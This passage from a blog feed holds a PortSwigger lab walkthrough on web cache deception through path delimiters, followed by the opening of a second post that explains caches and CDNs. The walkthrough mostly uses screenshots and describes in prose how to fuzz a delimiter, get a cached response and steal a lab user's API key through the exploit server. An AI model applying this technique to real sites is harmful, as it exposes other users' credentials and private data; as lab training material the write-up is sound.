  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinr4upnWXYlP1ZdAQk71dPHZHN8P2qshhSbT932S-9zGDiKqR5soFwWdhbXgDeJMoQf1A8JhcRaEkHkHUHd8wmnnsLQ-YfKeM5ZP2nDlW3qwmK6GSEQhwou1SGcSTaFqB1WBRbYjNJNuDU6o8MgesVAyXofRF7BuscMHkY0Zt1JPerHQLLftCl-ArTg4-u/s722/26.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;552&quot; data-original-width=&quot;722&quot; height=&quot;490&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinr4upnWXYlP1ZdAQk71dPHZHN8P2qshhSbT932S-9zGDiKqR5soFwWdhbXgDeJMoQf1A8JhcRaEkHkHUHd8wmnnsLQ-YfKeM5ZP2nDlW3qwmK6GSEQhwou1SGcSTaFqB1WBRbYjNJNuDU6o8MgesVAyXofRF7BuscMHkY0Zt1JPerHQLLftCl-ArTg4-u/w640-h490/26.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  before starting the attack please &lt;b&gt;untick &lt;/b&gt;the box&amp;nbsp;
  &lt;b&gt;URL- encode characters ....&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPyFWQBWjGORtSeLlQPme2PEEegF1U7cQOz5hsEay60Fvpi2EXw0TxWwYGyw8CI2sGdYawjKpVabktspDaiZicpe4zwPmu-oMXozBAsU4rpnG0ld3yFpwyi3VWdir2vv8HWPMHwLUqiKSrdsbafKuY2wm0eT0szLvulJf6kplTIPFJB4gQ8Eu8r1o2QEGA/s671/27.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;135&quot; data-original-width=&quot;671&quot; height=&quot;128&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPyFWQBWjGORtSeLlQPme2PEEegF1U7cQOz5hsEay60Fvpi2EXw0TxWwYGyw8CI2sGdYawjKpVabktspDaiZicpe4zwPmu-oMXozBAsU4rpnG0ld3yFpwyi3VWdir2vv8HWPMHwLUqiKSrdsbafKuY2wm0eT0szLvulJf6kplTIPFJB4gQ8Eu8r1o2QEGA/w640-h128/27.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now you have to see delimiter &lt;b&gt;; semicolon &lt;/b&gt;status code 200 thats mean
  &lt;b&gt;its okay&lt;/b&gt;&amp;nbsp;we have to move forward wtih this delimiter ;&amp;nbsp; and
  send to repeater section
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs6voZ5navqfI1E5KW6O4lX5GHQhyphenhyphen-lZqTm6XB5a96eFpGDjXNa3VagBNnVq61rIHF8PcPrFK8P7hUzN0rkJ537CA5Ji0XLnJWDBdqschmV4riTuMNUpX-JKtxi52rMhUtKeiZiZf2YXfeVk6S6UVByMSCAVbe7v8ilDtZPc1AZD8NXX-WBlzFWhy4Ji95/s667/29.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;453&quot; data-original-width=&quot;667&quot; height=&quot;434&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs6voZ5navqfI1E5KW6O4lX5GHQhyphenhyphen-lZqTm6XB5a96eFpGDjXNa3VagBNnVq61rIHF8PcPrFK8P7hUzN0rkJ537CA5Ji0XLnJWDBdqschmV4riTuMNUpX-JKtxi52rMhUtKeiZiZf2YXfeVk6S6UVByMSCAVbe7v8ilDtZPc1AZD8NXX-WBlzFWhy4Ji95/w640-h434/29.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  and send the request in repeater section until n unless when
  &lt;b&gt;x-cache:hit &lt;/b&gt;will not coming.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk39bb_DthpRV09k7yP7oWoUInsz0qelGRXJvILvU6qYyZlfCN9ajQqh0VRMgKp9AYFgJ0jB1OYEzJWWHk4dOy-cpmQDySvEaLwo-CQ9uwRs2dd_J3NK01fad-sIF6rhLuwah2ahcKzDlxJSQ-qYWsvYtAvD7bEq5DOgMloc1UHDWSg72OIk_cxP1EH7M3/s748/30.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;437&quot; data-original-width=&quot;748&quot; height=&quot;374&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk39bb_DthpRV09k7yP7oWoUInsz0qelGRXJvILvU6qYyZlfCN9ajQqh0VRMgKp9AYFgJ0jB1OYEzJWWHk4dOy-cpmQDySvEaLwo-CQ9uwRs2dd_J3NK01fad-sIF6rhLuwah2ahcKzDlxJSQ-qYWsvYtAvD7bEq5DOgMloc1UHDWSg72OIk_cxP1EH7M3/w640-h374/30.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsEolDGlPDnYwcl11FBT3S0DDTvZz_Gutd5adu_FhLadL0rr-7aHKM7EVpG-RqC4NjGZBbMA85o0x8MMALjJS9OT9U6Xyrk-sfnPeXhdUgx4091NqoIU3HNufqxpgwfPtcJF9H78foC03eSOViYwQ8cGA2yNyo-Ffb2MDhKSC9i-b2RoIGehj71q3bY70g/s253/31.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;133&quot; data-original-width=&quot;253&quot; height=&quot;210&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsEolDGlPDnYwcl11FBT3S0DDTvZz_Gutd5adu_FhLadL0rr-7aHKM7EVpG-RqC4NjGZBbMA85o0x8MMALjJS9OT9U6Xyrk-sfnPeXhdUgx4091NqoIU3HNufqxpgwfPtcJF9H78foC03eSOViYwQ8cGA2yNyo-Ffb2MDhKSC9i-b2RoIGehj71q3bY70g/w400-h210/31.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKu3-dSs3By7HUUrvu5bNAN7o3KjXPLxZzJUGzbcHsMvMAkmKjNW_iJEUT3P3zuv0Pv6Rs1SOWGBLoZfL3PGOsMdLtg-I1j5gJm3AdgWWC3mqr41EQgF2KpDPuX7k6DQTER39if8GYBUaN4vvir6Wzd5t4dPvolpjrHGBRPpTGyXUCKhnm8wEcyHDykxMd/s712/32.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;429&quot; data-original-width=&quot;712&quot; height=&quot;386&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKu3-dSs3By7HUUrvu5bNAN7o3KjXPLxZzJUGzbcHsMvMAkmKjNW_iJEUT3P3zuv0Pv6Rs1SOWGBLoZfL3PGOsMdLtg-I1j5gJm3AdgWWC3mqr41EQgF2KpDPuX7k6DQTER39if8GYBUaN4vvir6Wzd5t4dPvolpjrHGBRPpTGyXUCKhnm8wEcyHDykxMd/w640-h386/32.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;1273147351&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  after that copy the URL and go to lab&#39;s exploit server and paste into body
  section.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe_yl2UAltpyTxcsmxKFWWh2YYo3ENTaXoA_ViFi64TaHULsILu1YTr1ea2h92yRb65QVXM598gCuHZQLN3M5nBGaGhMwo06CMoNLNRRqJ_cDja3kMmPX4pe82zZhSxNB-mPuuzdKgM0l_L1dOEHT2TlJ_AwToaZNy8l3PcgpY98__wxEFgV3AdPX5e7EY/s635/33.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;376&quot; data-original-width=&quot;635&quot; height=&quot;378&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe_yl2UAltpyTxcsmxKFWWh2YYo3ENTaXoA_ViFi64TaHULsILu1YTr1ea2h92yRb65QVXM598gCuHZQLN3M5nBGaGhMwo06CMoNLNRRqJ_cDja3kMmPX4pe82zZhSxNB-mPuuzdKgM0l_L1dOEHT2TlJ_AwToaZNy8l3PcgpY98__wxEFgV3AdPX5e7EY/w640-h378/33.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp9njk1DH1Wo8U9t1wUqHmecixSb1GKxoniqJOUlTDH6peI3lZvCyN-8XFwoIod-KlkEY-os8CsiqWFwxH6yFFZLGIpASV4WDh77OzZwL8IIkP_2GWm5J0f6TxAkQkY1cTE-hn4_Mek0D-PJiekT9h6XuMTJWT8Fh-3-PsIqqviUijy-Cyt7DiBuK5C5g4/s300/34.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;156&quot; data-original-width=&quot;300&quot; height=&quot;333&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp9njk1DH1Wo8U9t1wUqHmecixSb1GKxoniqJOUlTDH6peI3lZvCyN-8XFwoIod-KlkEY-os8CsiqWFwxH6yFFZLGIpASV4WDh77OzZwL8IIkP_2GWm5J0f6TxAkQkY1cTE-hn4_Mek0D-PJiekT9h6XuMTJWT8Fh-3-PsIqqviUijy-Cyt7DiBuK5C5g4/w640-h333/34.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  and javascript window.location means returns a location object with
  information about the current location of the document with different name
  like &lt;b&gt;aa.js &lt;/b&gt;to&amp;nbsp;&lt;b&gt;&amp;nbsp;123.js&lt;/b&gt;&amp;nbsp;and
  &lt;b&gt;deliver exploit to victim.&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUvGljG5fjSj41-O3hXoYcAR9C05R0BdAx6gE73HI4__wL-kqSiImcLsnYwmv_Mr-o2xAaFb-Zj0XEXxm_SmlB9xjR_9NbKuzpR87ruIYuGy_9_ROZd-p0HJVL2ihsQ15Z5KC0y_Krca0isaTPqWJlwxXJ8FSD4b6JQNT92uD5JTOLEhojpSCDAem-FyD/s837/35.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;183&quot; data-original-width=&quot;837&quot; height=&quot;140&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuUvGljG5fjSj41-O3hXoYcAR9C05R0BdAx6gE73HI4__wL-kqSiImcLsnYwmv_Mr-o2xAaFb-Zj0XEXxm_SmlB9xjR_9NbKuzpR87ruIYuGy_9_ROZd-p0HJVL2ihsQ15Z5KC0y_Krca0isaTPqWJlwxXJ8FSD4b6JQNT92uD5JTOLEhojpSCDAem-FyD/w640-h140/35.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRCGdFrWU9r9YbNYJPSXgy8Sdh7sjc6e5aP8_Dw_q6RjxnzGmAIcV3O_6K5uYFMOwdct7n1EijJPXjambnUYiPEIUEUi-tl91hlaGVo5BKSJCjArgPaemv5hso_jlZXoswEs-6zBH_TFW-8KWnRZrJVSvtgnfxabbEwB0fezoa7cAwSgyZZLX8QVDhgIsG/s971/36.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;369&quot; data-original-width=&quot;971&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRCGdFrWU9r9YbNYJPSXgy8Sdh7sjc6e5aP8_Dw_q6RjxnzGmAIcV3O_6K5uYFMOwdct7n1EijJPXjambnUYiPEIUEUi-tl91hlaGVo5BKSJCjArgPaemv5hso_jlZXoswEs-6zBH_TFW-8KWnRZrJVSvtgnfxabbEwB0fezoa7cAwSgyZZLX8QVDhgIsG/w640-h244/36.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  After that check in &lt;b&gt;view exploit &lt;/b&gt;and&amp;nbsp;&lt;b&gt;&amp;nbsp;vOLA yES!!! we got it&amp;nbsp;&lt;/b&gt;&amp;nbsp;&lt;b&gt;carlos&#39;s API key and put it into solution&amp;nbsp; box.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCu7MyO637uW365AdJ79GtlZJt9KcFeGGIKED06u0dow6VWJMUuyVY3d3lVeNScMNUOWCT-muu8tTZNtUCbDxL-1ILs_4rm60rYuEsq9IqjbRUMoiDiZFOjJUG6h1CSmmMD3LtrgILzgkFFGVmRg5Ldz9BL4_yBikDSgpQ5V6-jyFUJE78iqu8dUiXdXUd/s796/38.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;397&quot; data-original-width=&quot;796&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCu7MyO637uW365AdJ79GtlZJt9KcFeGGIKED06u0dow6VWJMUuyVY3d3lVeNScMNUOWCT-muu8tTZNtUCbDxL-1ILs_4rm60rYuEsq9IqjbRUMoiDiZFOjJUG6h1CSmmMD3LtrgILzgkFFGVmRg5Ldz9BL4_yBikDSgpQ5V6-jyFUJE78iqu8dUiXdXUd/w640-h320/38.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi414EnBSLGKDsRMlXUaMFdrOaQgZFETLQrBYT-bBcvO3g-2BWucuk3BaD0kwElQuYHCwf9Y-iatUmtKZlE-er_CNZLRi5mfU1jqIJWMEdS2tqK44Ps0FFvvLMu3T2XWkNh61ckbQAHSKvBKjnDfJGdCkEkRKt6NpDYzZL3M91W8Qncvol1JV8zy8bcHUJ6/s872/39.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;378&quot; data-original-width=&quot;872&quot; height=&quot;278&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi414EnBSLGKDsRMlXUaMFdrOaQgZFETLQrBYT-bBcvO3g-2BWucuk3BaD0kwElQuYHCwf9Y-iatUmtKZlE-er_CNZLRi5mfU1jqIJWMEdS2tqK44Ps0FFvvLMu3T2XWkNh61ckbQAHSKvBKjnDfJGdCkEkRKt6NpDYzZL3M91W8Qncvol1JV8zy8bcHUJ6/w640-h278/39.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;so finally our lab is solved.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgETobZiSlNK4Gf6USq72ZNzdc4BV6qJxUH1hdC11JCgWXK7UqmF9Xn8NtUpviU0ecV8X6hELAO7C0dtjEff6PBC9l6FtwcONwAUTUTqWP6fYjFLJO4OCxtVcriK-vH-Kz85NmvmIFO7YeOMKhchcBxmGVEEL8BYQmDW2lYC06bkCe-FzZdxVLFcVXItjOZ/s1239/40.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;455&quot; data-original-width=&quot;1239&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgETobZiSlNK4Gf6USq72ZNzdc4BV6qJxUH1hdC11JCgWXK7UqmF9Xn8NtUpviU0ecV8X6hELAO7C0dtjEff6PBC9l6FtwcONwAUTUTqWP6fYjFLJO4OCxtVcriK-vH-Kz85NmvmIFO7YeOMKhchcBxmGVEEL8BYQmDW2lYC06bkCe-FzZdxVLFcVXItjOZ/w640-h236/40.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;Disclaimer&lt;/h4&gt;
&lt;p&gt;
  All tutorials are for informational and educational purposes only and have
  been made using our own routers, servers, websites and other vulnerable free
  resources. we do not contain any illegal activity. We believe that ethical
  hacking, information security and cyber security should be familiar subjects
  to anyone using digital information and computers. Hacking Truth is against
  misuse of the information and we strongly suggest against it. Please regard
  the word hacking as ethical hacking or penetration testing every time this
  word is used. We do not promote, encourage, support or excite any illegal
  activity or hacking.
&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/4501593240514574317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2024/09/exploiting-path-delimiters-for-web.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4501593240514574317'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4501593240514574317'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2024/09/exploiting-path-delimiters-for-web.html' title='Exploiting path delimiters for web cache deception'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiRIxkcpyUKICynljYjEn-6PfMaGqZWfiT7QBvkeFHlrC0FcNQ0fsEzee-xTHUFf9Uhdk5GsNb8jHRJM6YK0HO_K2Rww9zWJsAzm3EArOj3MNCBdWw3n2TMeu6OnZvq25wUFT-Ii63yv-NBVyeU2WcU2YywvfZhIoHS-n9obkEMpGxcQHmWYDMpGcWlPwx/s72-w640-h360-c/Exploiting%20path%20delimiters%20for%20web%20cache%20deception.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-2788788459244676829</id><published>2024-09-16T04:30:00.000-07:00</published><updated>2024-09-16T04:30:19.054-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Portswigger"/><category scheme="http://www.blogger.com/atom/ns#" term="Web cache deception"/><title type='text'>Exploiting path mapping for web cache deception Lab</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2024/09/connecting-from-linux-to-windows.html&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Exploiting path mapping for web cache deception Lab&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX87dOT5VqKAucBveCDMdjFtgghCOMZ4M9JfmT5JEp3Un67GVRbR88H2eGNqXrgptGBLUO9Ghtb1XpZTbDc-7xmvnEfBQUuza4vDm7CMD3LOTkMKMIRn-MeSLGIJkHPZR-2xnH-R6VrohWCE1EJuDC4JCtWPY0U2n4sEFVBQ2buy4Noo4zNEfdUIS9W1Q3/w640-h360/Exploiting%20path%20mapping%20for%20web%20cache%20deception.png&quot;
      title=&quot;Exploiting path mapping for web cache deception Lab&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Cache means not catch!! Cache its a different means web cache deception its a
  vulnerability that enables to attacker to store sensitive, dynamic content and
  its cause by discrepancies between how the cache server and origin server
  handle the request.
&lt;/p&gt;
&lt;p&gt;
  Let&#39;s simply describe about this vulnerability and what is it?&amp;nbsp; A web
  cache system is sit between the origin server and user. If a client request a
  static resource, the request is first directed to the cache. If the cache
  doesn&#39;t containt a copy of the resource (known as the &lt;b&gt;cache miss&lt;/b&gt;) ,
  that time cache is forwarded to the &lt;b&gt;origin server&lt;/b&gt;, which process and
  respond to the request. The response is then sent to the cache before being
  sent to the user. The cache uses a &lt;b&gt;pre-configured&lt;/b&gt;&amp;nbsp;set of rules to
  determine whether to store the response.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  when a request for the same static resources is made in the future, the cache
  store the saved copy to the response directly to the user (&lt;b
    &gt;known as&amp;nbsp; a cache hit&lt;/b
  &gt;).
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg531t0uixVvoDJm9ouGSnWtIbN9NRSd6uzOOF54LhIdzQHLUyRzg1X3iOW5xhbC87fBD7PQ9pGBxP9ZG3azSqBCgQwyeQVuwMtj9QZKhgXjEomuo0pOZbFA8GizBUI6BwIkTr9MeCsjt37faoq50pq7X8xPY6XWVf0dBbDoZLt2jt46O_rTrMoieK6jsnb/s1110/caching.png&quot;
    imageanchor=&quot;1&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;credit portswigger&quot;
      border=&quot;0&quot;
      data-original-height=&quot;285&quot;
      data-original-width=&quot;1110&quot;
      height=&quot;164&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg531t0uixVvoDJm9ouGSnWtIbN9NRSd6uzOOF54LhIdzQHLUyRzg1X3iOW5xhbC87fBD7PQ9pGBxP9ZG3azSqBCgQwyeQVuwMtj9QZKhgXjEomuo0pOZbFA8GizBUI6BwIkTr9MeCsjt37faoq50pq7X8xPY6XWVf0dBbDoZLt2jt46O_rTrMoieK6jsnb/w640-h164/caching.png&quot;
      title=&quot;credit portswigger&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;image credit portswigger&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Apart from that you can use even mostly trying to use CDN
  &lt;b&gt;content delivery networks&lt;/b&gt;&amp;nbsp;with the widespread use of
  &lt;i style=&quot;font-weight: bold;&quot;&gt;CDN&lt;/i&gt;&amp;nbsp;, which use caching to store copies
  of content on distributed servers all over the world. CDN speed of delivery by
